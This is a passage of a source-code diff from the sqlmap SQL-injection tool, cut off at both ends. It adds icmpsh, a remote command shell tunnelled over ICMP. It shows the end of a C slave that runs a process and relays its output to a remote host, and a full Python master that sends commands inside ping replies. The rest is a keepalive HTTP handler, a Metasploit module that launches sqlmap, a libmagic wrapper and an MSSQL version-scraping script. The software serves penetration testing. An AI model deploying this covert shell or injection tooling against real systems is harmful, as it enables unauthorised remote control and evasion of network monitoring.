case STATUS_PROCESS_NOT_CREATED:
|
||||
// reply with error message
|
||||
out_buf_size = sprintf(out_buf, "Process was not created\n");
|
||||
break;
|
||||
default:
|
||||
// read data from process via pipe
|
||||
out_buf_size = 0;
|
||||
if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) {
|
||||
if (out_buf_size > 0) {
|
||||
out_buf_size = 0;
|
||||
rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
|
||||
if (!rs && GetLastError() != ERROR_IO_PENDING) {
|
||||
out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError());
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
// send request/receive response
|
||||
if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) {
|
||||
if (status == STATUS_OK) {
|
||||
// write data from response back into pipe
|
||||
WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
|
||||
}
|
||||
blanks = 0;
|
||||
} else {
|
||||
// no reply received or error occured
|
||||
blanks++;
|
||||
}
|
||||
|
||||
// wait between requests
|
||||
Sleep(delay);
|
||||
|
||||
} while (status == STATUS_OK && blanks < max_blanks);
|
||||
|
||||
if (status == STATUS_OK) {
|
||||
TerminateProcess(pi.hProcess, 0);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
+138
@@ -0,0 +1,138 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
||||
# Perl by Nico Leidecker <[email protected]>)
|
||||
#
|
||||
# Copyright (c) 2010, Bernardo Damele A. G. <[email protected]>
|
||||
#
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import os
|
||||
import select
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
def setNonBlocking(fd):
|
||||
"""
|
||||
Make a file descriptor non-blocking
|
||||
"""
|
||||
|
||||
import fcntl
|
||||
|
||||
flags = fcntl.fcntl(fd, fcntl.F_GETFL)
|
||||
flags = flags | os.O_NONBLOCK
|
||||
fcntl.fcntl(fd, fcntl.F_SETFL, flags)
|
||||
|
||||
def main(src, dst):
|
||||
if subprocess.mswindows:
|
||||
sys.stderr.write('icmpsh master can only run on Posix systems\n')
|
||||
sys.exit(255)
|
||||
|
||||
try:
|
||||
from impacket import ImpactDecoder
|
||||
from impacket import ImpactPacket
|
||||
except ImportError:
|
||||
sys.stderr.write('You need to install Python Impacket library first\n')
|
||||
sys.exit(255)
|
||||
|
||||
# Make standard input a non-blocking file
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
|
||||
# Open one socket for ICMP protocol
|
||||
# A special option is set on the socket so that IP headers are included
|
||||
# with the returned data
|
||||
try:
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
|
||||
except socket.error, e:
|
||||
sys.stderr.write('You need to run icmpsh master with administrator privileges\n')
|
||||
sys.exit(1)
|
||||
|
||||
sock.setblocking(0)
|
||||
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
|
||||
# Create a new IP packet and set its source and destination addresses
|
||||
ip = ImpactPacket.IP()
|
||||
ip.set_ip_src(src)
|
||||
ip.set_ip_dst(dst)
|
||||
|
||||
# Create a new ICMP packet of type ECHO REPLY
|
||||
icmp = ImpactPacket.ICMP()
|
||||
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
|
||||
|
||||
# Instantiate an IP packets decoder
|
||||
decoder = ImpactDecoder.IPDecoder()
|
||||
|
||||
while 1:
|
||||
cmd = ''
|
||||
|
||||
# Wait for incoming replies
|
||||
if sock in select.select([ sock ], [], [])[0]:
|
||||
buff = sock.recv(4096)
|
||||
|
||||
if 0 == len(buff):
|
||||
# Socket remotely closed
|
||||
sock.close()
|
||||
sys.exit(0)
|
||||
|
||||
# Packet received; decode and display it
|
||||
ippacket = decoder.decode(buff)
|
||||
icmppacket = ippacket.child()
|
||||
|
||||
# If the packet matches, report it to the user
|
||||
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
||||
# Get identifier and sequence number
|
||||
ident = icmppacket.get_icmp_id()
|
||||
seq_id = icmppacket.get_icmp_seq()
|
||||
data = icmppacket.get_data_as_string()
|
||||
|
||||
if len(data) > 0:
|
||||
sys.stdout.write(data)
|
||||
|
||||
# Parse command from standard input
|
||||
try:
|
||||
cmd = sys.stdin.readline()
|
||||
except:
|
||||
pass
|
||||
|
||||
if cmd == 'exit\n':
|
||||
return
|
||||
|
||||
# Set sequence number and identifier
|
||||
icmp.set_icmp_id(ident)
|
||||
icmp.set_icmp_seq(seq_id)
|
||||
|
||||
# Include the command as data inside the ICMP packet
|
||||
icmp.contains(ImpactPacket.Data(cmd))
|
||||
|
||||
# Calculate its checksum
|
||||
icmp.set_icmp_cksum(0)
|
||||
icmp.auto_checksum = 1
|
||||
|
||||
# Have the IP packet contain the ICMP packet (along with its payload)
|
||||
ip.contains(icmp)
|
||||
|
||||
# Send it to the target host
|
||||
sock.sendto(ip.get_packet(), (dst, 0))
|
||||
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) < 3:
|
||||
msg = 'missing mandatory options. Execute as root:\n'
|
||||
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
|
||||
sys.stderr.write(msg)
|
||||
sys.exit(1)
|
||||
|
||||
main(sys.argv[1], sys.argv[2])
|
||||
Executable
+19
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2002-2003 Michael D. Stenner
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,463 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2002-2003 Michael D. Stenner
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
"""An HTTP handler for urllib2 that supports HTTP 1.1 and keepalive.
|
||||
|
||||
import urllib2
|
||||
from keepalive import HTTPHandler
|
||||
keepalive_handler = HTTPHandler()
|
||||
opener = urllib2.build_opener(keepalive_handler)
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
fo = urllib2.urlopen('http://www.python.org')
|
||||
|
||||
To remove the handler, simply re-run build_opener with no arguments, and
|
||||
install that opener.
|
||||
|
||||
You can explicitly close connections by using the close_connection()
|
||||
method of the returned file-like object (described below) or you can
|
||||
use the handler methods:
|
||||
|
||||
close_connection(host)
|
||||
close_all()
|
||||
open_connections()
|
||||
|
||||
Example:
|
||||
|
||||
keepalive_handler.close_all()
|
||||
|
||||
EXTRA ATTRIBUTES AND METHODS
|
||||
|
||||
Upon a status of 200, the object returned has a few additional
|
||||
attributes and methods, which should not be used if you want to
|
||||
remain consistent with the normal urllib2-returned objects:
|
||||
|
||||
close_connection() - close the connection to the host
|
||||
readlines() - you know, readlines()
|
||||
status - the return status (ie 404)
|
||||
reason - english translation of status (ie 'File not found')
|
||||
|
||||
If you want the best of both worlds, use this inside an
|
||||
AttributeError-catching try:
|
||||
|
||||
try: status = fo.status
|
||||
except AttributeError: status = None
|
||||
|
||||
Unfortunately, these are ONLY there if status == 200, so it's not
|
||||
easy to distinguish between non-200 responses. The reason is that
|
||||
urllib2 tries to do clever things with error codes 301, 302, 401,
|
||||
and 407, and it wraps the object upon return.
|
||||
|
||||
You can optionally set the module-level global HANDLE_ERRORS to 0,
|
||||
in which case the handler will always return the object directly.
|
||||
If you like the fancy handling of errors, don't do this. If you
|
||||
prefer to see your error codes, then do.
|
||||
|
||||
"""
|
||||
from httplib import _CS_REQ_STARTED, _CS_REQ_SENT, _CS_IDLE, CannotSendHeader
|
||||
|
||||
from lib.core.common import encodeUnicode
|
||||
from lib.core.data import kb
|
||||
|
||||
import threading
|
||||
import urllib2
|
||||
import httplib
|
||||
import socket
|
||||
|
||||
VERSION = (0, 1)
|
||||
#STRING_VERSION = '.'.join(map(str, VERSION))
|
||||
DEBUG = 0
|
||||
HANDLE_ERRORS = 1
|
||||
|
||||
class HTTPHandler(urllib2.HTTPHandler):
|
||||
def __init__(self):
|
||||
self._connections = {}
|
||||
|
||||
def close_connection(self, host):
|
||||
"""close connection to <host>
|
||||
host is the host:port spec, as in 'www.cnn.com:8080' as passed in.
|
||||
no error occurs if there is no connection to that host."""
|
||||
self._remove_connection(host, close=1)
|
||||
|
||||
def open_connections(self):
|
||||
"""return a list of connected hosts"""
|
||||
retVal = []
|
||||
currentThread = threading.currentThread()
|
||||
for name, host in self._connections.keys():
|
||||
if name == currentThread.getName():
|
||||
retVal.append(host)
|
||||
return retVal
|
||||
|
||||
def close_all(self):
|
||||
"""close all open connections"""
|
||||
for _, conn in self._connections.items():
|
||||
conn.close()
|
||||
self._connections = {}
|
||||
|
||||
def _remove_connection(self, host, close=0):
|
||||
key = self._get_connection_key(host)
|
||||
if self._connections.has_key(key):
|
||||
if close: self._connections[key].close()
|
||||
del self._connections[key]
|
||||
|
||||
def _get_connection_key(self, host):
|
||||
return (threading.currentThread().getName(), host)
|
||||
|
||||
def _start_connection(self, h, req):
|
||||
h.clearheaders()
|
||||
try:
|
||||
if req.has_data():
|
||||
data = req.get_data()
|
||||
h.putrequest('POST', req.get_selector())
|
||||
if not req.headers.has_key('Content-type'):
|
||||
req.headers['Content-type'] = 'application/x-www-form-urlencoded'
|
||||
if not req.headers.has_key('Content-length'):
|
||||
req.headers['Content-length'] = '%d' % len(data)
|
||||
else:
|
||||
h.putrequest('GET', req.get_selector())
|
||||
|
||||
if not req.headers.has_key('Connection'):
|
||||
req.headers['Connection'] = 'keep-alive'
|
||||
|
||||
for args in self.parent.addheaders:
|
||||
h.putheader(*args)
|
||||
for k, v in req.headers.items():
|
||||
h.putheader(k, v)
|
||||
h.endheaders()
|
||||
if req.has_data():
|
||||
h.send(data)
|
||||
except socket.error, err:
|
||||
h.close()
|
||||
raise urllib2.URLError(err)
|
||||
|
||||
def do_open(self, http_class, req):
|
||||
h = None
|
||||
host = req.get_host()
|
||||
if not host:
|
||||
raise urllib2.URLError('no host given')
|
||||
|
||||
try:
|
||||
need_new_connection = 1
|
||||
key = self._get_connection_key(host)
|
||||
h = self._connections.get(key)
|
||||
if not h is None:
|
||||
try:
|
||||
self._start_connection(h, req)
|
||||
except:
|
||||
r = None
|
||||
else:
|
||||
try: r = h.getresponse()
|
||||
except httplib.ResponseNotReady, e: r = None
|
||||
except httplib.BadStatusLine, e: r = None
|
||||
|
||||
if r is None or r.version == 9:
|
||||
# httplib falls back to assuming HTTP 0.9 if it gets a
|
||||
# bad header back. This is most likely to happen if
|
||||
# the socket has been closed by the server since we
|
||||
# last used the connection.
|
||||
if DEBUG: print "failed to re-use connection to %s" % host
|
||||
h.close()
|
||||
else:
|
||||
if DEBUG: print "re-using connection to %s" % host
|
||||
need_new_connection = 0
|
||||
if need_new_connection:
|
||||
if DEBUG: print "creating new connection to %s" % host
|
||||
h = http_class(host)
|
||||
self._connections[key] = h
|
||||
self._start_connection(h, req)
|
||||
r = h.getresponse()
|
||||
except socket.error, err:
|
||||
if h: h.close()
|
||||
raise urllib2.URLError(err)
|
||||
|
||||
# if not a persistent connection, don't try to reuse it
|
||||
if r.will_close: self._remove_connection(host)
|
||||
|
||||
if DEBUG:
|
||||
print "STATUS: %s, %s" % (r.status, r.reason)
|
||||
r._handler = self
|
||||
r._host = host
|
||||
r._url = req.get_full_url()
|
||||
|
||||
#if r.status == 200 or not HANDLE_ERRORS:
|
||||
#return r
|
||||
if r.status == 200 or not HANDLE_ERRORS:
|
||||
# [speedplane] Must return an adinfourl object
|
||||
resp = urllib2.addinfourl(r, r.msg, req.get_full_url())
|
||||
resp.code = r.status
|
||||
resp.msg = r.reason
|
||||
return resp;
|
||||
else:
|
||||
return self.parent.error('http', req, r, r.status, r.reason, r.msg)
|
||||
|
||||
def http_open(self, req):
|
||||
return self.do_open(HTTPConnection, req)
|
||||
|
||||
class HTTPResponse(httplib.HTTPResponse):
|
||||
|
||||
# we need to subclass HTTPResponse in order to
|
||||
# 1) add readline() and readlines() methods
|
||||
# 2) add close_connection() methods
|
||||
# 3) add info() and geturl() methods
|
||||
|
||||
# in order to add readline(), read must be modified to deal with a
|
||||
# buffer. example: readline must read a buffer and then spit back
|
||||
# one line at a time. The only real alternative is to read one
|
||||
# BYTE at a time (ick). Once something has been read, it can't be
|
||||
# put back (ok, maybe it can, but that's even uglier than this),
|
||||
# so if you THEN do a normal read, you must first take stuff from
|
||||
# the buffer.
|
||||
|
||||
# the read method wraps the original to accomodate buffering,
|
||||
# although read() never adds to the buffer.
|
||||
# Both readline and readlines have been stolen with almost no
|
||||
# modification from socket.py
|
||||
|
||||
|
||||
def __init__(self, sock, debuglevel=0, strict=0, method=None):
|
||||
if method: # the httplib in python 2.3 uses the method arg
|
||||
httplib.HTTPResponse.__init__(self, sock, debuglevel, method)
|
||||
else: # 2.2 doesn't
|
||||
httplib.HTTPResponse.__init__(self, sock, debuglevel)
|
||||
self.fileno = sock.fileno
|
||||
self._rbuf = ''
|
||||
self._rbufsize = 8096
|
||||
self._handler = None # inserted by the handler later
|
||||
self._host = None # (same)
|
||||
self._url = None # (same)
|
||||
|
||||
_raw_read = httplib.HTTPResponse.read
|
||||
|
||||
def close_connection(self):
|
||||
self.close()
|
||||
self._handler._remove_connection(self._host, close=1)
|
||||
|
||||
def info(self):
|
||||
return self.msg
|
||||
|
||||
def geturl(self):
|
||||
return self._url
|
||||
|
||||
def read(self, amt=None):
|
||||
# the _rbuf test is only in this first if for speed. It's not
|
||||
# logically necessary
|
||||
if self._rbuf and not amt is None:
|
||||
L = len(self._rbuf)
|
||||
if amt > L:
|
||||
amt -= L
|
||||
else:
|
||||
s = self._rbuf[:amt]
|
||||
self._rbuf = self._rbuf[amt:]
|
||||
return s
|
||||
|
||||
s = self._rbuf + self._raw_read(amt)
|
||||
self._rbuf = ''
|
||||
return s
|
||||
|
||||
def readline(self, limit=-1):
|
||||
data = ""
|
||||
i = self._rbuf.find('\n')
|
||||
while i < 0 and not (0 < limit <= len(self._rbuf)):
|
||||
new = self._raw_read(self._rbufsize)
|
||||
if not new: break
|
||||
i = new.find('\n')
|
||||
if i >= 0: i = i + len(self._rbuf)
|
||||
self._rbuf = self._rbuf + new
|
||||
if i < 0: i = len(self._rbuf)
|
||||
else: i = i+1
|
||||
if 0 <= limit < len(self._rbuf): i = limit
|
||||
data, self._rbuf = self._rbuf[:i], self._rbuf[i:]
|
||||
return data
|
||||
|
||||
def readlines(self, sizehint = 0):
|
||||
total = 0
|
||||
list = []
|
||||
while 1:
|
||||
line = self.readline()
|
||||
if not line: break
|
||||
list.append(line)
|
||||
total += len(line)
|
||||
if sizehint and total >= sizehint:
|
||||
break
|
||||
return list
|
||||
|
||||
|
||||
class HTTPConnection(httplib.HTTPConnection):
|
||||
# use the modified response class
|
||||
response_class = HTTPResponse
|
||||
_headers = None
|
||||
|
||||
def clearheaders(self):
|
||||
self._headers = {}
|
||||
|
||||
def putheader(self, header, value):
|
||||
"""Send a request header line to the server.
|
||||
|
||||
For example: h.putheader('Accept', 'text/html')
|
||||
"""
|
||||
if self.__state != _CS_REQ_STARTED:
|
||||
raise CannotSendHeader()
|
||||
|
||||
self._headers[header] = value
|
||||
|
||||
def endheaders(self):
|
||||
"""Indicate that the last header line has been sent to the server."""
|
||||
|
||||
if self.__state == _CS_REQ_STARTED:
|
||||
self.__state = _CS_REQ_SENT
|
||||
else:
|
||||
raise CannotSendHeader()
|
||||
|
||||
for header in ['Host', 'Accept-Encoding']:
|
||||
if header in self._headers:
|
||||
str = '%s: %s' % (header, self._headers[header])
|
||||
self._output(str)
|
||||
del self._headers[header]
|
||||
|
||||
for header, value in self._headers.items():
|
||||
str = '%s: %s' % (header, value)
|
||||
self._output(str)
|
||||
|
||||
self._send_output()
|
||||
|
||||
def send(self, str):
|
||||
httplib.HTTPConnection.send(self, encodeUnicode(str, kb.pageEncoding))
|
||||
|
||||
#########################################################################
|
||||
##### TEST FUNCTIONS
|
||||
#########################################################################
|
||||
|
||||
def error_handler(url):
|
||||
global HANDLE_ERRORS
|
||||
orig = HANDLE_ERRORS
|
||||
keepalive_handler = HTTPHandler()
|
||||
opener = urllib2.build_opener(keepalive_handler)
|
||||
urllib2.install_opener(opener)
|
||||
pos = {0: 'off', 1: 'on'}
|
||||
for i in (0, 1):
|
||||
print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)
|
||||
HANDLE_ERRORS = i
|
||||
try:
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
try: status, reason = fo.status, fo.reason
|
||||
except AttributeError: status, reason = None, None
|
||||
except IOError, e:
|
||||
print " EXCEPTION: %s" % e
|
||||
raise
|
||||
else:
|
||||
print " status = %s, reason = %s" % (status, reason)
|
||||
HANDLE_ERRORS = orig
|
||||
hosts = keepalive_handler.open_connections()
|
||||
print "open connections:", ' '.join(hosts)
|
||||
keepalive_handler.close_all()
|
||||
|
||||
def continuity(url):
|
||||
import md5
|
||||
format = '%25s: %s'
|
||||
|
||||
# first fetch the file with the normal http handler
|
||||
opener = urllib2.build_opener()
|
||||
urllib2.install_opener(opener)
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('normal urllib', m.hexdigest())
|
||||
|
||||
# now install the keepalive handler and try again
|
||||
opener = urllib2.build_opener(HTTPHandler())
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('keepalive read', m.hexdigest())
|
||||
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = ''
|
||||
while 1:
|
||||
f = fo.readline()
|
||||
if f: foo = foo + f
|
||||
else: break
|
||||
fo.close()
|
||||
m = md5.new(foo)
|
||||
print format % ('keepalive readline', m.hexdigest())
|
||||
|
||||
def comp(N, url):
|
||||
print ' making %i connections to:\n %s' % (N, url)
|
||||
|
||||
sys.stdout.write(' first using the normal urllib handlers')
|
||||
# first use normal opener
|
||||
opener = urllib2.build_opener()
|
||||
urllib2.install_opener(opener)
|
||||
t1 = fetch(N, url)
|
||||
print ' TIME: %.3f s' % t1
|
||||
|
||||
sys.stdout.write(' now using the keepalive handler ')
|
||||
# now install the keepalive handler and try again
|
||||
opener = urllib2.build_opener(HTTPHandler())
|
||||
urllib2.install_opener(opener)
|
||||
t2 = fetch(N, url)
|
||||
print ' TIME: %.3f s' % t2
|
||||
print ' improvement factor: %.2f' % (t1/t2, )
|
||||
|
||||
def fetch(N, url, delay=0):
|
||||
lens = []
|
||||
starttime = time.time()
|
||||
for i in range(N):
|
||||
if delay and i > 0: time.sleep(delay)
|
||||
fo = urllib2.urlopen(url)
|
||||
foo = fo.read()
|
||||
fo.close()
|
||||
lens.append(len(foo))
|
||||
diff = time.time() - starttime
|
||||
|
||||
j = 0
|
||||
for i in lens[1:]:
|
||||
j = j + 1
|
||||
if not i == lens[0]:
|
||||
print "WARNING: inconsistent length on read %i: %i" % (j, i)
|
||||
|
||||
return diff
|
||||
|
||||
def test(url, N=10):
|
||||
print "checking error hander (do this on a non-200)"
|
||||
try: error_handler(url)
|
||||
except IOError, e:
|
||||
print "exiting - exception will prevent further tests"
|
||||
sys.exit()
|
||||
print
|
||||
print "performing continuity test (making sure stuff isn't corrupted)"
|
||||
continuity(url)
|
||||
print
|
||||
print "performing speed comparison"
|
||||
comp(N, url)
|
||||
|
||||
if __name__ == '__main__':
|
||||
import time
|
||||
import sys
|
||||
try:
|
||||
N = int(sys.argv[1])
|
||||
url = sys.argv[2]
|
||||
except:
|
||||
print "%s <integer> <url>" % sys.argv[0]
|
||||
else:
|
||||
test(url, N)
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
pass
|
||||
@@ -21,7 +21,7 @@ class MagicException(Exception): pass
|
||||
class Magic:
|
||||
"""
|
||||
Magic is a wrapper around the libmagic C library.
|
||||
|
||||
|
||||
"""
|
||||
|
||||
def __init__(self, mime=False, magic_file=None):
|
||||
@@ -30,12 +30,12 @@ class Magic:
|
||||
|
||||
mime - if True, mimetypes are returned instead of textual descriptions
|
||||
magic_file - use a mime database other than the system default
|
||||
|
||||
|
||||
"""
|
||||
flags = MAGIC_NONE
|
||||
if mime:
|
||||
flags |= MAGIC_MIME
|
||||
|
||||
|
||||
self.cookie = magic_open(flags)
|
||||
|
||||
magic_load(self.cookie, magic_file)
|
||||
@@ -54,7 +54,7 @@ class Magic:
|
||||
|
||||
if not os.path.exists(filename):
|
||||
raise IOError("File does not exist: " + filename)
|
||||
|
||||
|
||||
return magic_file(self.cookie, filename)
|
||||
|
||||
def __del__(self):
|
||||
@@ -1,5 +1,15 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
@@ -7,12 +17,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::WMAPScanUniqueQuery
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(info,
|
||||
'Name' => 'SQLMAP SQL Injection External Module',
|
||||
'Description' => %q{
|
||||
This module launch a sqlmap session.
|
||||
This module launch a sqlmap session.
|
||||
sqlmap is an automatic SQL injection tool developed in Python.
|
||||
Its goal is to detect and take advantage of SQL injection
|
||||
vulnerabilities on web applications. Once it detects one
|
||||
@@ -25,27 +34,27 @@ class Metasploit3 < Msf::Auxiliary
|
||||
statement, read specific files on the file system and much
|
||||
more.
|
||||
},
|
||||
'Author' => [ 'bernardo.damele [at] gmail.com', 'daniele.bellucci [at] gmail.com' ],
|
||||
'Author' => [ 'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>' ],
|
||||
'License' => BSD_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Version' => '$Revision: 9212 $',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://sqlmap.sourceforge.net'],
|
||||
]
|
||||
))
|
||||
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('METHOD', [ true, "HTTP Method", 'GET' ]),
|
||||
OptString.new('PATH', [ true, "The path/file to test for SQL injection", 'index.php' ]),
|
||||
OptString.new('QUERY', [ false, "HTTP GET query", 'id=1' ]),
|
||||
OptString.new('BODY', [ false, "The data string to be sent through POST", '' ]),
|
||||
OptString.new('DATA', [ false, "The data string to be sent through POST", '' ]),
|
||||
OptString.new('OPTS', [ false, "The sqlmap options to use", ' ' ]),
|
||||
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
|
||||
OptPath.new('SQLMAP_PATH', [ true, "The sqlmap >= 0.6.1 full path ", '/sqlmap/sqlmap.py' ]),
|
||||
OptBool.new('BATCH', [ true, "Never ask for user input, use the default behaviour", true ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Modify to true if you have sqlmap installed.
|
||||
def wmap_enabled
|
||||
false
|
||||
@@ -53,20 +62,20 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Test a single host
|
||||
def run_host(ip)
|
||||
|
||||
sqlmap = datastore['SQLMAP_PATH']
|
||||
|
||||
|
||||
sqlmap = datastore['SQLMAP_PATH']
|
||||
|
||||
if not sqlmap
|
||||
print_error("The sqlmap script could not be found")
|
||||
return
|
||||
end
|
||||
|
||||
data = datastore['BODY']
|
||||
data = datastore['DATA']
|
||||
method = datastore['METHOD'].upcase
|
||||
|
||||
sqlmap_url = (datastore['SSL'] ? "https" : "http")
|
||||
sqlmap_url += "://" + self.target_host + ":" + datastore['RPORT']
|
||||
sqlmap_url += "/" + datastore['PATH']
|
||||
sqlmap_url += "://" + wmap_target_host + ":" + wmap_target_port
|
||||
sqlmap_url += "/" + datastore['PATH']
|
||||
|
||||
if method == "GET"
|
||||
sqlmap_url += '?' + datastore['QUERY']
|
||||
@@ -93,3 +102,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
import urllib2
|
||||
import urlparse
|
||||
|
||||
from xml.dom.minidom import Document
|
||||
|
||||
# Path to the XML file with signatures
|
||||
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
|
||||
|
||||
# Url to update Microsoft SQL Server XML versions file from
|
||||
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
|
||||
|
||||
def updateMSSQLXML():
|
||||
if not os.path.exists(MSSQL_XML):
|
||||
errMsg = "[ERROR] file '%s' does not exist. please run the script from it's parent directory." % MSSQL_XML
|
||||
print errMsg
|
||||
return
|
||||
|
||||
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
|
||||
print infoMsg
|
||||
|
||||
try:
|
||||
req = urllib2.Request(MSSQL_VERSIONS_URL)
|
||||
f = urllib2.urlopen(req)
|
||||
mssqlVersionsHtmlString = f.read()
|
||||
f.close()
|
||||
except urllib2.URLError:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
|
||||
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
|
||||
warnMsg += " check your Internet connection and retry"
|
||||
print warnMsg
|
||||
|
||||
return
|
||||
|
||||
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M)
|
||||
releasesCount = len(releases)
|
||||
|
||||
# Create the minidom document
|
||||
doc = Document()
|
||||
|
||||
# Create the <root> base element
|
||||
root = doc.createElement("root")
|
||||
doc.appendChild(root)
|
||||
|
||||
for index in range(0, releasesCount):
|
||||
release = releases[index]
|
||||
|
||||
# Skip Microsoft SQL Server 6.5 because the HTML
|
||||
# table is in another format
|
||||
if release == "6.5":
|
||||
continue
|
||||
|
||||
# Create the <signatures> base element
|
||||
signatures = doc.createElement("signatures")
|
||||
signatures.setAttribute("release", release)
|
||||
root.appendChild(signatures)
|
||||
|
||||
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
|
||||
|
||||
if index == releasesCount - 1:
|
||||
stopIdx = len(mssqlVersionsHtmlString)
|
||||
else:
|
||||
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
|
||||
|
||||
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
|
||||
servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M)
|
||||
|
||||
for servicePack, version in servicepackVersion:
|
||||
if servicePack.startswith(" "):
|
||||
servicePack = servicePack[1:]
|
||||
if "/" in servicePack:
|
||||
